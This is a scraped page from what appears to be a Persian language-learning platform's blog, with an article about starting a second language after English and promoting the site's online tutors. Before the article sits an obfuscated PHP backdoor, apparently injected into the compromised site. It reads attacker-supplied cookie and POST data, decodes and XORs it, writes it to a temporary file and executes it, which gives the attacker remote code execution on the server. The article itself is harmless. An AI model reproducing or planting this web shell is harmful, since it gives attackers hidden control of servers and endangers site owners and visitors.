$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();} شروع زبان دوم بعد از زبان انگلیسی | وبلاگ اتیچر

شروع زبان دوم بعد از زبان انگلیسی

شروع-زبان-دوم-بعد-از-زبان-انگلیسی
زمان مطالعه: ۳ دقیقه

شروع زبان دوم بعد از زبان انگلیسی می‌تواند با انگیزه بیشتر و اراده مصم‌تری همراه باشد، چرا که شما یک بار زبان خارجه دیگری را با موفقیت پشت سر گذاشته‌اید و اکنون با ذهنی بازتر می‌توانید پذیرایی یادگیری یک زبان دیگر هم باشید.

اما برای این شروع باید یک سری مقدمات اساسی و نتیجه بخش را کنار یکدیگر قرار دهیم تا بتوانیم با یک برنامه ریزی درست به نتیجه دلخواه خود دست پیدا کنیم.

این مقدمات شامل آموزشگاه خوب، استاد با تجربه و عناصر دیگری که هر کدام می‌توانند نقش موثری در گرم کردن و سرد شدن شما از یادگیری زبان دوم باشند.

با دانستن این موارد باید به دنبال پیدا کردن بهترین آموزشگاه و بهترین استاد برای یادگیری زبان دوم باشیم. اما چگونه؟

این موضوعی است که در این مقاله قصد داریم با اشاره به هر یک شروع زبان دوم بعد از زبان انگلیسی را به درستی آغاز کنیم و در مدت زمان مشخصی نتیجه ایده‌آلی را بدست آوریم.

شروع زبان دوم بعد از زبان انگلیسی : انتخاب نوع زبان

وقتی قرار است که زبان جدید را بعد از زبان انگلیسی به عنوان زبان دوم شروع کنیم، بهتر است که حتما به سراغ علاقه و نیاز خود برویم.

در مورد زبان انگلیسی به عنوان زبان اول بعد از زبان مادری ممکن است به دلیل اجبار آن را یاد گرفته باشیم، به خاطر اینکه زبان بین المللی است و ما باید نسبت به آن آگاهی داشته باشیم.

اما در مورد زبان دوم در بیشتر مواقع به دلیل علاقه‌ای که به یک کشور و فرهنگ آن داریم، تمایل پیدا می‌کنیم زبان آن‌ها را یاد بگیریم.

و البته گاهی اوقات هم به خاطر نیاز برای شغل و یا ادامه تحصیل در یک کشور مثل روسیه که دانشگاه‌هایش بیشتر به زبان روسی صحبت می‌کنند، شروع زبان دوم بعد از زبان انگلیسی را نیاز پیدا می‌کنیم.

پس بهتر است که ابتدا نوع انگیزه خود را برای شروع زبان دوم پیدا کنید و سپس با اراده خود و یک برنامه ریزی منسجم یادگیری را آغاز کنید.

انتخاب آموزشگاه

انتخاب آموزشگاه یکی از مهمترین عناصر یادگیری زبان دوم است که نباید خیلی راحت از آن بگذرید. اگر آموزشگاه از اساتید و نیروی پیشتیبانی منظم با متدهای پیشرفته برخوردار باشد شما قادر خواهید بود با یک نظم مشخص در مدت زمان تعیین شده زبان دوم را به خوبی فرا بگیرید.

یادگیری زبان برای کارمندان پرمشغله

آموزشگاه باید از تعدد زبان‌های مختلف برخوردار باشد و بتواند تمامی آن را با برنامه حمایت کند و زبان آموز به دلیل حس بیگانگی که نسبت به زبان دوم دارد، نسبت به یادگیری سرد نشود و ادامه مسیر را برای زبان آموز با شدت شوق بیشتری ایجاد کند.

انتخاب استاد

انتخاب استاد برای زبان دوم انتخابی قابل تامل است که نمی‌توان نسبت به آن سهل‌انگار بود. پس باید استادی را انتخاب کنید که دانش آکادمیک در این زمینه داشته باشد و سپس از تجربه کافی در زمینه آموزش زبان مورد علاقه شما برخودار باشد.

Young woman working in school helping girl with her writing, education, support, care.

استاد در واقع کسی است که شما برای یادگیری زبان دوم بیشتر وقت خود را با او می‌گذرانید و باید اخلاق و دانش لازم و کافی را برای آموزش شما داشته باشد.

اساتید در اٌتیچر کاملا به زبان‌های مختلف دنیا مسلط هستند و شما می‌توانید با کمک این اساتید زبان مورد علاقه خود را با تکنیک‌های مدرن دنیا به درستی فرا بگیرید.

استفاده از بهترین متدها

بهترین متدها در هر آموزشگاهی و توسط هر استادی آموزش داده نمی‌شوند. اگر قصد دارید زبان ایتالیایی،روسی، آلمانی، چینی و غیره را با نتیجه قطعی بدون مشکل یاد بگیرید ، باید از روش‌های تدریس و امکانات لازم برخوردار باشید تا نتیجه قطعی در مورد شروع زبان دوم بعد از زبان انگلیسی با عزم محکم آغاز شود.

پلتفرم آموزش آنلاین زبان اٌتیچر

اگر به دنبال یادگیری زبان دوم هستید و نیاز به مشاوره دارید و نمی‌دانید برای رسیدن به هدف و خواسته خود با چه زبان دومی کار خود را شروع کنید، بهتر است از اساتید اٌتیچر کمک بگیرید.

آتیچر یک پلتفرم آنلاین آموزش زبان است که در مورد هر نوع زبانی اساتید مخصوص به خود را دارد، در ضمن کلاس‌های آنلاین از ساعت ۷ صبح تا ۱۲ شب برقرار هستند و زبان آموزان مخصوصا کسانی که کارمند هستند می‌توانند شروع زبان دوم بعد از زبان  انگلیسی را جدی‌تر آغاز کنند .

پشتیبانی اٌتیچر با دقت همیشگی و هر روز هفته کمکی موثر برای زبان آموز خواهد بود.

 

به این مقاله امتیاز بدهید

مینا رییسی

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search